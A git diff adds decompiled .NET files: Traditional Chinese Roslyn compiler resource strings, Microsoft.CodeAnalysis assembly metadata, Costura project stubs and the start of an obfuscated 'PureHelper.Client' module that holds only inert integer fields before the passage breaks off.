指定的 {0} 參數類型和 {1} 參數參考種類。這些陣列的長度必須相同。 + 無法藉傳址方式傳回本機 '{0}' 的成員,因為其非參考本機 + 退出建構函式時,不可為 Null 的欄位必須包含非 Null 值。請考慮宣告為可為 Null。 + '{0}' 沒有基底類別且無法呼叫基底建構函式 + 最符合 '{0}' 的多載方法,沒有正確的初始設定式元素簽章。可初始化的 Add 必須是可存取的執行個體方法。 + 公開簽章已指定且需要公開金鑰,但並未指定任何公開金鑰。 + 參數類型中參考型別是否可為 NULL 的情況,與隱含實作的成員不相符 (可能的原因是屬性可為 NULL )。 + 傳回型別中參考型別是否可為 NULL 的情況,與實作的成員 '{0}' 不相符 (可能的原因是屬性可為 NULL )。 + 必須是 ) + 找不到原始程式檔 '{0}'。 + 屬性 + '{0}' 值無效: 若是 C# {2},則為 '{1}'。請使用 '{3}' 或更高的語言版本。 + 無法藉傳址方式傳回 '{0}',因其為唯讀 + 無法使用具有接收器的擴充方法作為 '&' 運算子的目標。 + 套用到參數 '{0}' 的 CallerArgumentExpressionAttribute 將沒有效果,CallerFilePathAttribute 會覆寫它。 + 轉換成 void 傳回委派的匿名函式,不可傳回值 + 在模式中使用類型 'dynamic' 不合法。 + {0} '{1}' 無法用為 ref 或 out 值,因為它是唯讀變數 + 無法直接呼叫解構函式與 object.Finalize。請考慮呼叫 IDisposable.Dispose (若有的話)。 + 因為目標執行階段不支援介面中靜態抽象成員,所以 '{0}' 無法在類型 '{2}' 中實作介面成員 '{1}'。 + 無法攔截攔截器為 '{1}' 的方法 '{0}',因為簽章不相符。 + 字元常值中有太多字元 + SyntaxTree 不屬於編譯的一部份 + 指定不同的 #pragma 總和檢查碼值 + SecurityAction 值 '{0}' 對 PrincipalPermission 屬性無效 + 陣列宣告子無效: 若要宣告 Managed 陣列,陣序規範必須位於變數識別項之前。若要宣告固定大小緩衝區欄位,請在欄位類型之前使用 fixed 關鍵字。 + '{0}' 的部分宣告必須具有相同順序的相同類型參數名稱與變異數修飾元 + '{0}' 不可衍生自特殊類別 '{1}' + 因為 '{0}' 是個會傳回 '{1}' 的非同步方法,所以傳回關鍵字之後不可接著物件運算式。 + 無法將 '{0}' 用作為 ref 或 out 值,因其為唯讀 + 物件或集合初始設定式意味會解除參考可能的 null 成員 '{0}'。 + 找不到來源類型 '{0}' 的查詢模式實作。找不到 '{1}'。 + CallerMemberNameAttribute 只能套用至具有預設值的參數 + 類型與所匯入的命名空間衝突 + XML 註解中的 '{0}' 有 param 標籤,但沒有該名稱的參數 + 類型參數與外部方法的類型參數,類型相同。 + 未明確提供參數 '{0}',但做為參數 '{1}' 上插補字串處理常式轉換的引數。在 '{1}' 之前先指定 '{0}' 的值。 + 遺漏公用可見類型或成員的 XML 註解 + 包含類型 '{1}' 的組件 '{0}' 參考了 .NET Framework,此情形不受支援。 + 與整數常數比較無意義; 此常數位於類型的範圍外 + 型別無法作為型別參數用於泛型型別或方法中。型別引數的可 Null 性與條件約束型別不符合。 + 類型會定義運算子 == 或運算子 !=,但不會覆寫 Object.GetHashCode() + 因來源中出現的執行個體,將會忽略屬性 + 無法開啟原始程式檔 '{0}' -- {1} + 屬性 '{0}' 在此宣告類型上無效。其只有在 '{1}' 宣告上才有效。 + 運算式樹狀結構不可包含 null 聯合指派 + 無法在此範圍宣告名為 '{0}' 的區域變數或參數,因為該名稱已用於封入區域變數範圍,以定義區域變數或參數 + '{0}' 為類型 '{1}'。非字串之參考類型的預設參數值,只能以 null 初始設定。 + 無法從組件 '{0}' 內嵌 Interop 類型,因為其遺漏了 '{1}' 屬性或 '{2}' 屬性。 + '{1}' 的 '{0}' 參數類型中,參考型別是否可為 Null 的情況,與目標委派 '{2}' 不相符 (可能的原因是屬性可為 Null)。 + 條件約束類型 '{0}' 不符合 CLS 規範 + 差補字串處理常式建構不能使用動態。手動建構 '{0}' 的執行個體。 + 無法在物件初始設定式中指派靜態欄位或屬性 '{0}' + '{0}' 屬性重複 + 屬性 '{0}' 只有在衍生自 System.Attribute 的類別上才有效 + Ref 條件運算子的分支參考具有不相容宣告範圍的變數 + 未預期的字元順序 '...' + 方法 '{1}' 的型別參數 '{0}' 條件約束可 Null 性與介面方法 '{3}' 的型別參數 '{2}' 條件約束不符合。請考慮改用明確的介面實作。 + 與 struct 類型的 null 進行比較,一律會產生 'false' + C# 類型上不可使用 RequiredAttribute 屬性 + 只可使用 65534 個區域變數,包括由編譯器所產生的區域變數 + 通常不應該將 volatile 欄位用作為 ref 或 out 值,因為不會將它視為 volatile。但有例外狀況,例如呼叫連鎖 API 時。 + 型別中參考型別的可 Null 性與覆寫的成員不符合。 + 無法內嵌組件 '{1}' 和 '{2}' 中都有的 Interop 類型 '{0}'。請考慮將 [內嵌 Interop 類型] 屬性設定為 false。 + 路徑太長或無效 + '{1} {0}' 的傳回類型錯誤 + 成員在某些條件下結束時必須具有非 Null 值。 + 參數 '{0}' 型別中參考型別的可 Null 性與實作的成員 '{1}' 不符合。 + 類型未實作集合模式; 成員的簽章錯誤 + 非同步主要 + 在組件 '{2}' 的類型 '{1}' 上找不到成員 '{0}'。 + 此位置不可出現結束標籤。 + '{1}': 不可衍生自靜態類別 '{0}' + 使用 'UnmanagedCallersOnly' 屬性化的方法不能具有泛型型別參數,而且不能在泛型型別中宣告。 + 存取 '{0}' 上的成員可能會造成執行階段例外狀況,因為其為傳址封送類別的欄位 + 必須是運算式 + '{0}' 已授與 Friend 存取權限,但輸出組件 ('{1}') 的公開金鑰,與授與之組件中 InternalsVisibleTo 屬性所指定的公開金鑰不符。 + '此語言不支援類型 '{0}' + 模組初始設定式方法 '{0}' 必須是靜態且非虛擬,不得具有任何參數,而且必須傳回 'void' + 具有迭代區塊的方法 '{0}' 必須為「非同步」才能傳回 '{1}' + 運算式必須可隱含轉換成布林值,或是其類型 '{0}' 必須定義運算子 '{1}'。 + 可以多次處置物件 + 套用到參數 '{0}' 的 CallerMemberNameAttribute 將沒有作用,因為 CallerLineNumberAttribute 會覆寫它。 + 組件參考無效,無法進行解析 + ++ 或 -- 運算子的參數類型必須是包含類型 + 使用可能未指派的自動實作屬性 '{0}'。請考慮更新語言版本 '{1}' 以自動預設屬性。 + 正在將 Null 常值或可能的 Null 值轉換為不可為 Null 的型別。 + 找不到 RuntimeMetadataVersion 的值 + 需要有物件參考,才可使用非靜態欄位、方法或屬性 '{0}' + 無法透過 ref 參數藉傳址方式傳回參數成員 '{0}'; 只能在 return 陳述式中傳回 + 因為組件沒有 CLSCompliant 屬性,所以類型或成員不可標記為符合 CLS 規範 + 沒有明確傳回型別的匿名方法上不允許 AsyncMethodBuilder 屬性。 + 將方法群組轉換為非委派類型 + '{0}': 傳回類型必須是 '{2}' 才符合覆寫的成員 '{1}' + 不可直接在 switch 區段內使用 using 變數 (建議使用大括弧)。 + 提交最多可以有一個語法樹狀結構。 + '{0}' 沒有任何多載符合委派 '{1}' + 在此內容中,類型 '{1}' 與參數 '{2}' 之間的識別碼 '{0}' 不明確。 + XML 註解 cref 屬性中的參數類型無效 + 名稱 '{0}' 無法識別元組元素 '{1}'。 + 無法在包含索引子的類型上指定 DefaultMember 屬性 + 警告層級必須大於或等於零 + 運算式主體索引子 + 區域函式 '{0}' 必須宣告主體,原因是其未標記為 'static extern'。 + 參數 {0} 在 Lambda 中的預設值為 '{1:10}',但在目標委派類型中為 '{2:10}'。 + '{0}': 無法衍生自動態類型 + 因為部分方法 '{0}' 有非 void 的傳回型別,所以其必須有存取範圍修飾詞。 + 運算式樹狀架構 Lambda 不可包含左側為 null 或預設常值的聯合運算子 + '{0}': 在非同步 using 陳述式中使用的類型,必須可隱含地轉換為 'System.IAsyncDisposable' 或實作合適的 'DisposeAsync' 方法。 + 語法錯誤,必須是 '{0}' + '{2}' 無法滿足泛型型別或方法 '{0}' 中參數 '{1}' 的 'new()' 限制式,因為 '{2}' 具有必要的成員。 + 遇到未命名的列舉值時,switch 運算式不會處理其輸入類型的某些值 (未徹底處理)。例如,未涵蓋模式 '{0}'。 + 因為參考型別的可 NULL 性有所差異,所以無法針對 '{3}' 內類型 '{1}' 的參數 '{2}' 使用類型 '{0}' 的引數。 + 不是可辨識的屬性位置 + 在此內容中使用 '{0}' 的結果,可能會將參數 '{1}' 參考的變數公開在其宣告範圍外 + 項目初始設定式不可為空白 + 從 'readonly' 成員呼叫非 readonly 成員 '{0}' 會產生 '{1}' 的隱含複本。 + {0} 子句中的運算式類型不正確。呼叫 '{1}' 時發生類型推斷失敗。 + 例外狀況篩選條件 + 至少一個最上層陳述式必須是非空白。 + '{0}' 的部分方法宣告對型別參數 '{1}' 有不一致的條件約束 + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hant.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/zh-hant.microsoft.codeanalysis.csharp.resources/costura.zh-hant.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.csharp.resources/costura.zh-hant.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.csharp.resources/costura.zh-hant.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.zh-Hant.resx b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.zh-Hant.resx new file mode 100644 index 0000000..c34ca11 --- /dev/null +++ b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.zh-Hant.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089結構 + 必須是元素 + PE 映像無法使用。 + 公用金鑰語彙基元大小無效。 + 其他檔案不屬於基礎 'CompilationWithAnalyzers'。 + 有多個全域分析器設定檔,在區段 '{1}' 中設定了相同的索引碼 '{0}'。該索引碼設定已取消。下列檔案中設定了索引碼: '{2}' + 舊版檔案簽章的暫存路徑無法使用。 + 事件 + 包含類型 '{0}' 的組件參考了 .NET Framework,此情形不受支援。 + 組件參考: '{0}' + 將 IVT 授與至目前的組件:{1} + 將 IIV 授與至: + 分析器 '{0}' 在其 'SupportedDiagnostics' 中包含一個 null 描述項。 + 參數 '{0}' 必須是此編譯或某些參考組件中的符號。 + 不一致的語言版本 + 參考解析程式應傳回可讀取的非 null 資料流。 + 編譯選項無效 -- 無法簽署提交。 + pathMap 中的索引鍵為空白。 + 分析器組態檔中的嚴重性無效。 + 規則集檔案中 '{0}' 的規則重複,差異在於動作 '{1}' 及 '{2}'。 + 類型必須是 SyntaxAnnotation 的子類別。 + 值太大,無法呈現為 30 位元不帶正負號的整數。 + 無法指定模組別名。 + 組件文化特性名稱包含無效的字元 + 模組 + 方法 + Windows PDB 寫入器不支援確定性編譯: '{0}' + 分析器 + 參數 '{0}' 必須是 'INamedTypeSymbol' 或 'IAssemblySymbol’。 + 請隱藏下列診斷以停用此分析器: {0} + 類別 + 警告: 因為例外狀況: {0},所以無法啟用 multicore JIT。 + 只在發出 PDB 時才支援內嵌文字。 + 不可使用模組複本建立組件中繼資料。 + 因為全域分析器組態區段名稱 '{0}' 不是絕對路徑,所以無效。將忽略區段。區段已在以下檔案中宣告: '{1}' + 圖示資料流的格式不正確。 + 在分析器組態檔的 '{2}' 處,為診斷 '{0}' 提供了無效的嚴重性 '{1}'。 + 組件名稱: '{0}' + 公開金鑰: + 找不到檔案。 + 屬性 {0} 有無效的 {1} 值。 + Win32 資源 (假設為 COFF 物件格式) 包含無效的區段大小。 + 具有 hintName '{0}' 的 SourceText 必須有明確的編碼集。 + 無法辨識的資源檔格式。 + 參數 + 屬性, 索引子 + 項目 {0} 遺漏名稱為 {1} 的屬性。 + 找不到 MetadataReference '{0}' 可移除。 + 中繼資料模組 '{0}' 中指定了無效的模組名稱: '{1}' + 名稱包含無效的字元。 + 無法指定此選項的語言名稱。 + 將 PDB 內嵌 PE 資料流中時,不應提供 PDB 資料流。 + + 只有在發出中繼資料時,才無須指定 PDB 資料流。 + 位置 {2} 的 hintName {0} 包含無效的字元 '{1}'。 + 分析器驅動程式失敗 + 有多個全域分析器設定檔,設定了相同的索引碼。該索引碼設定已取消。 + 除非發出參考組件,否則必須包含 private 成員。 + /keepalive' 選項的引數若小於 -1 即為無效。 + 指定的作業有非 null 的父代。 + 因為全域分析器組態區段名稱不是絕對路徑,所以無效。將忽略區段。 + 必須是絕對路徑。 + 位移 {0}: {1}{2}*{3}{4} 處的資料無效 + 無法判斷失敗的具體原因。 + 不支援對 XML 文件的參考。 + 資料流過長。 + 傳回類型不可為值類型、指標、by-ref 或開放式泛型類型 + 元組的基礎類型必須與元組相容。 + 下列內容發生例外狀況: +{0} + 序列化繫結器無法辨識類型 '{0}'。 + 不一致的語法樹功能 + 無法從模組內嵌 interop 類型。 + 無法內嵌 SourceText。請於建構提供編碼或 canBeEmbedded = true。 + 資料流包含無效的資料 + 時間 (秒) + 模組有無效的屬性。 + 語法樹狀結構不屬於基礎 'Compilation'。 + 雜湊無效。 + '/keepalive' 選項只可與 '/shared' 選項並用。 + 發出至次要組件輸出時,應使用包含私人成員。 + 正在列印目前編譯及所有參考組件的 'InternalsVisibleToAttribute' 資訊。 + {0} 傳回的路徑。ResolveStrongNameKeyFile 必須是絕對路徑: '{1}' + 找不到規則集檔案 '{0}'。 + 不支援組件簽署。 + 回報之診斷 '{0}' 中的來源位置 '{1}' 位於檔案 '{2}' 內,而該檔案不在指定的檔案內。 + 要追蹤的節點不是根的子代。 + 指定的作業區塊不屬於目前的分析內容。 + 指定的項目不是清單中的元素。 + 委派 + 無法寫入資料流。 + 引數 '/shared:' 的值不可為空白 + '{0}' 的還原序列化讀取器所讀取的值數目不正確。 + 分析器 '{0}' 在其 'SupportedSuppressions' 中包含一個 null 描述項。 + 無法建立對提交的參考。 + {0} 傳回的路徑。ResolveMetadataFile 必須是絕對路徑: '{1}' + 未解析: + /keepalive' 選項的引數並非 32 位元整數。 + Span 不包含行首。 + 無法對沒有位置的組件建立中繼資料參考。 + 文化特性名稱無效: '{0}' + 檢測設備種類無效: {0} + 元組必須有至少兩個項目。 + 變更必須排序且不可重疊。 + Roslyn 編譯器伺服器回報了不同於建置工作的通訊協定版本。 + 分析器執行時間總計: {0} 秒。 + 編譯選項不可有錯誤。 + 無法將類型 '{0}' 序列化。 + 只有在發出中繼資料時,才無須指定中繼資料 PE 資料流。 + 資源名稱是空的,或其無效 + 傳回類型不可為 void、by-ref 或開放式泛型類型 + Windows PDB 寫入器不支援 SourceLink 功能: '{0}' + 公開金鑰語彙基元無效。 + 隱藏識別碼為 '{2}' 且理由為 '{3}' 的 DiagnosticSuppressor,以程式設計的方式隱藏了診斷 '{0}: {1}' + /keepalive' 選項遺漏引數。 + <記憶體內部模組> + 產生器 + 指定的作業有 null 的語意模型。 + Windows PDB 寫入器版本較所需的版本舊: '{0}' + 節點或語彙基元超出序列。 + 發出中繼資料時,不得內嵌 PDB。 + 無法為動態組件建立中繼資料參考。 + 隱藏的診斷識別碼 '{0}' 不符合指定隱藏描述項的可隱藏識別碼 '{1}'。 + Win32 資源 (假設為 COFF 物件格式) 包含一或多個無效的符號值。 + 資料流必須支援讀取及搜尋作業。 + 列舉 + 回報的診斷 '{0}' 在檔案 '{1}' 中具有來源位置,其不屬於正在進行分析的編譯。 + 欄位 + 名稱不可為空白。 + 產生器執行時間總計: {0}秒。 + Win32 資源 (假設為 COFF 物件格式) 遺漏 '.rsrc$01' 及 (或) '.rsrc$02' 區段之一,或同時缺少兩者。 + 如果已指定元組元素名稱,元素名稱的數目就必須符合元組的基數。 + 編輯和繼續無法繼續暫停的列舉程式,因為對應的 yield return 陳述式已刪除 + 內容類型無效 + {0}.GetMetadata() 必須傳回 {1} 的執行個體。 + 回報的診斷具有 ID '{0}',這不是有效的識別碼。 + 無法為組件建立模組參考。 + 如果指定元組元素可為 Null 的註釋,註釋數目就必須符合元組的基數。 + 引數含有重複的分析器執行個體。 + 名稱開頭不可為空白。 + 無法序列化包含多個維度的陣列。 + 在偵錯期間不允許變更組件參考的版本: '{0}' 已將版本變更為 '{1}'。 + 分析器不支援識別碼為 '{0}' 的回報診斷。 + 必須指定此選項的語言名稱。 + 預期的方法符號 + 輸出種類不支援。 + 必須是分隔符號 + 清單中的節點並非預期的類型。 + hintName '{0}' 的位置 {2} 包含無效的字元 '{1}'。 + {0} 必須是「預設值」,或其長度必須與 {1} 相同。 + 名稱不可為 null。 + 變更必須在 SourceText 的界限內 + 不支援的雜湊演算法。 + 資源資料流提供者應傳回非 null 資料流。 + 無法重新指定 WindowsRuntime 身分識別目標 + 引數含有分析器執行個體,其不屬於此 CompilationWithAnalyzers 執行個體的 'Analyzers'。 + 發出參考組件時,目標不可以是網路模組。 + 無法將類型 '{0}' 還原序列化。 + 資料流必須可讀取。 + 介面 + Win32 資源 (假設為 COFF 物件格式) 包含一或多個無效的重新配置標頭值。 + 分析器 '{0}' 擲回了類型為 '{1}' 的例外狀況。訊息: '{2}'。 +{3} + <記憶體內組件> + {0} 及 {1} 的長度必須相同。 + 新增來源檔案的 hintName '{0}' 在產生器中必須是唯一的。 + 元組元素名稱不可為空字串。 + 提交的輸出種類無效。必須是 DynamicallyLinkedLibrary。 + SuppressionDescriptor 的識別碼不得為 null、空白字串或只包含空白字元的字串。 + 必須可寫入資料流。 + 組件名稱無效: '{0}' + 別名無效。 + 建構函式 + 找不到任何分析器 + 組件至少必須要有一個模組。 + 編輯和繼續無法繼續暫停的非同步方法,因為對應的 await 運算式已刪除 + 資源資料提供者應傳回非 null 資料流 + 無法隱藏識別碼為 '{0}' 的非回報診斷。 + 資源資料流於 {0} 個位元組結束,必須是 {1} 個位元組。 + PE 映像不包含 Managed 中繼資料。 + 檔案名稱是空的,或其無效 + 返回 + 分析器驅動程式擲回類型 '{0}' 的例外狀況,訊息為 '{1}'。 +{2} + 檔案大小超出有效中繼資料檔案大小的上限。 + Span 不包含行尾。 + 上一個提交出現錯誤。 + 此編譯參考多項組件,其差異只在自動產生的組建編號及 (或) 修訂編號。 + 以程式設計方式隱藏分析器診斷 + 找不到組件檔案 + 公開金鑰無效。 + 無法讀取資料流。 + 類型 '{0}' 的參考對此編譯無效。 + 要求的行號 {0} 必須小於 {1} 的行數。 + DiagnosticDescriptor 的識別碼不得為 null、空白字串或只包含空白字元的字串。 + 隱藏器不支援識別碼為 '{0}' 的回報隱藏。 + 提供的運算不得為控制流程圖的一部分。 + 每個產生器只能註冊一個 {0}。 + 類型必須與上次提交的主物件類型相同。 + 如果指定了元組元素位置,位置數目就必須符合元組的基數。 + 目前的組件: '{0}' + '{0}' 不是有效的內建運算子名稱 + 不支援的內建運算子: {0} + 不合法的內建運算子名稱 '{0}' + 'end' 不可小於 'start'。start='{0}' end='{1}'。 + 無法建立對模組的參考。 + 分析器失敗 + 必須是非空的公用金鑰 + 載入包含的規則集檔案 {0} 時發生錯誤 - {1} + 組件名稱包含無效的字元 + 注意: 因為分析器可以同時執行,所以已耗用時間可能小於分析器執行時間。 + 引數不能有 null 元素。 + 引數不可為空白。 + 組件 + 類型參數 + 'start' 不可為負值 + 大小必須為正值。 + pathMap 中有值為 null。 + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.zh-Hant.resx b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.zh-Hant.resx new file mode 100644 index 0000000..08c3630 --- /dev/null +++ b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.zh-Hant.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089目標陣列的下限必須為零。 + 目標陣列類型與集合中項目的類型不相容。 + 集合屬於固定大小。 + 集合已修改; 列舉作業可能尚未執行。 + 號碼小於第一個維度中陣列的下限。 + 目的地陣列的長度不足以複製集合中的所有項目。請檢查陣列索引以及長度。 + 無法比較陣列中的兩個元素。 + 已經新增具有相同索引鍵的項目。索引鍵: {0} + 指定的陣列必須擁有相同維度數。 + 位移和長度超過陣列的界限或計數大於從索引至來源集合尾端的項目數。 + 無法排序,因為 IComparer.Compare() 方法傳回不一致的結果。可能是某個值與自己比較卻不相等,或是一個值反覆與另一個值比較但產生不同的結果。IComparer: '{0}'。 + 計數必須為正且計數必須參考字串/陣列/集合中的位置。 + 索引超出範圍。必須為非負數且小於集合的大小。 + 物件不是一個與相比較陣列具有相同元素數目的陣列。 + 容量小於目前大小。 + 所要求的動作只支援一維陣列。 + 不允許變動衍生自字典的值集合。 + 大於集合大小。 + 索引必須在清單的界限之內。 + 需要非負數。 + 找不到舊值 + 變更非並行集合的作業必須具有獨佔存取權。並行更新已在此集合上執行,並已損毀其狀態。集合的狀態已不再正確。 + 指定的索引鍵 '{0}' 不在字典中。 + 不允許變動衍生自字典的索引鍵集合。 + 目的陣列長度不足。請檢查目的索引、長度及陣列的下限。 + Hashtable 的容量溢位,並且成為負值。請檢查載入因數、容量,以及表格目前的大小。 + 來源陣列長度不足。請檢查來源索引、長度及陣列的下限。 + 值 "{0}" 的類型不是 "{1}",因此,無法用在此泛型集合。 + 列舉尚未啟動或已經完成。 + \ No newline at end of file diff --git a/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/costura.zh-hant.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/costura.zh-hant.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/zh-hant.microsoft.codeanalysis.resources/costura.zh-hant.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/PanelPlugins/.DS_Store b/decompiled/PanelPlugins/.DS_Store new file mode 100644 index 0000000..8b54976 Binary files /dev/null and b/decompiled/PanelPlugins/.DS_Store differ diff --git a/decompiled/PanelPlugins/PureHelper.Client/-Module--10C7425F-83E5-487F-9127-6852E3783303-.cs b/decompiled/PanelPlugins/PureHelper.Client/-Module--10C7425F-83E5-487F-9127-6852E3783303-.cs new file mode 100644 index 0000000..b9388bc --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/-Module--10C7425F-83E5-487F-9127-6852E3783303-.cs @@ -0,0 +1,3 @@ +internal class _003CModule_003E_007B10C7425F_002D83E5_002D487F_002D9127_002D6852E3783303_007D +{ +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/-Module--cc855980-bf4d-4da3-96c7-14d69de0c9ee-.cs b/decompiled/PanelPlugins/PureHelper.Client/-Module--cc855980-bf4d-4da3-96c7-14d69de0c9ee-.cs new file mode 100644 index 0000000..069e774 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/-Module--cc855980-bf4d-4da3-96c7-14d69de0c9ee-.cs @@ -0,0 +1,949 @@ +internal sealed class _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D +{ + internal int m_a205508cee3842aa869f1b82ea1af874; + + internal int m_ce472d8145884cb18b16a6315220ddb0; + + internal int m_b2745db0aa124bbc924b0dcb8892dfd1; + + internal int m_853e64fb4ead47df85068e27da1ecb7b; + + internal int m_cf4d9648aee544a78a91bdb81022fbbb; + + internal int m_8f981747ae1949e699313fa1f44f884d; + + internal int m_a267596e458d4ee3839a403c2d8a3690; + + internal int m_bc69f98b6f164f01a6a918aff45d530c; + + internal int m_de99969b08844206bddfe6b4e82ed930; + + internal int m_8e35eb92feeb484bb61c00673e3b1979; + + internal int m_8e047cd5a8d34c9289514eca26fdadb8; + + internal int m_3ba37e20f9724986a90cd090e6a703b6; + + internal int m_781eb1dda25b44d79c819c3ebb4656dd; + + internal int m_bc6b32b00d1f484e950b6f1b6782a4c3; + + internal int m_b931987dfc0c470990e9e38231fff934; + + internal int m_9ef44bdeb0384bb3a192f49113a29e33; + + internal int m_26f406ee7475415ea8607e0d9d8ee024; + + internal int m_1f6b397b209f48209f6f78382abc0dd0; + + internal int m_cf6b861499bb4e93b913b0104cf85d80; + + internal int m_0eb6b5636bc94506af0ea669ffeed289; + + internal int m_d4a356c36b2e4f47a614526faef74694; + + internal int m_943100e56ff446e19bd6040145cbf2ec; + + internal int m_f4a7715299884ff18f1cd79197380e6c; + + internal int m_b5967e50e137478cac39f365075d9072; + + internal int m_6651f8592e684e849da751d50852d553; + + internal int m_9187d16b686d4b2fa356c9c894103305; + + internal int m_286c3f129be64af8b8968e2f488643d8; + + internal int m_ba6efaf0d2294319ae0da035931c22d1; + + internal int m_51490720dd0f48e3b0ff141b3d904ac5; + + internal int m_f099d539a86e4ca2b0b9d68590faa998; + + internal int m_dbaed25adfd74085a06a85a2f4c2deda; + + internal int m_1ff8829269df491f8e4bf2a624683839; + + internal int m_8313453974b74aada052a8dba0d1daa4; + + internal int m_105fe2c22724435f9f5e6d6f7a953089; + + internal int m_f7e3386f246948f69c355788e5ea10a5; + + internal int m_e9aacb5e27eb43b38c6a07cda87839c0; + + internal int m_9ffcbb3f96f246acbb106d878fc81ace; + + internal int m_0b44419b977642f69e5d9c6839680b67; + + internal int m_4353980ed85946ce86121f2e107edf17; + + internal int m_cbc10b9a4f014e50ac3911f08194bec9; + + internal int m_94e78e0769e54be39e13ceab800bcc0d; + + internal int m_1b3d64cf90d3478ea689f41ea1de0e20; + + internal int m_de25dad2b323460d94eca25c3de7f954; + + internal int m_bd4735a32b8243ab87438897f9b05148; + + internal int m_0515fb8c750a4a18815512c78a5289a7; + + internal int m_6a3f56ff5de44bac98d9c08e25a662a2; + + internal int m_9dfdbeb3592e4807b15dd3a37534d3a2; + + internal int m_bc29523b497342f3b804b86715d9577b; + + internal static _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D m_271cb415f2384f7a8af2439f61d79e09; + + internal int m_2c4908f24e22416e88d1fa82d96dd701; + + internal int m_261c20461b674ca28c16fc971d3a4e0c; + + internal int m_6901d444f6fa48618465e6bb2f892490; + + internal int m_0f09a9fa75334e429ef59f881dd368e7; + + internal int m_53d923ff3cb24dd2bb7d9452d2439a84; + + internal int m_7ee321f1774e478e9a3977aac8e8bf0a; + + internal int m_8607b24874644b3f80653c8326708a0f; + + internal int m_caae323a53774cf3a9d226928402337f; + + internal int m_3885283fdf59409cbc53081cc2938690; + + internal int m_cb9c626824424572a150665e8d57c6e7; + + internal int m_08f0ca6f783d4de086a0138e7d3650cd; + + internal int m_39adc595083c4bb6915cfffdabca57d7; + + internal int m_f657717d8f834c178c7cd09a108bbe65; + + internal int m_649c3d2d5f83414bb83663c9196e9e04; + + internal int m_085cb0dbc3324d8089003c979618ca5d; + + internal int m_c4c52f9da2f74c12af1b90719cab4223; + + internal int m_ade1a6914d5d4142be10e854b6157b3f; + + internal int m_c0850f47ec054590a7b3f2430c11cdb8; + + internal int m_76d8d99b4f1948a480249e3f1408d4e5; + 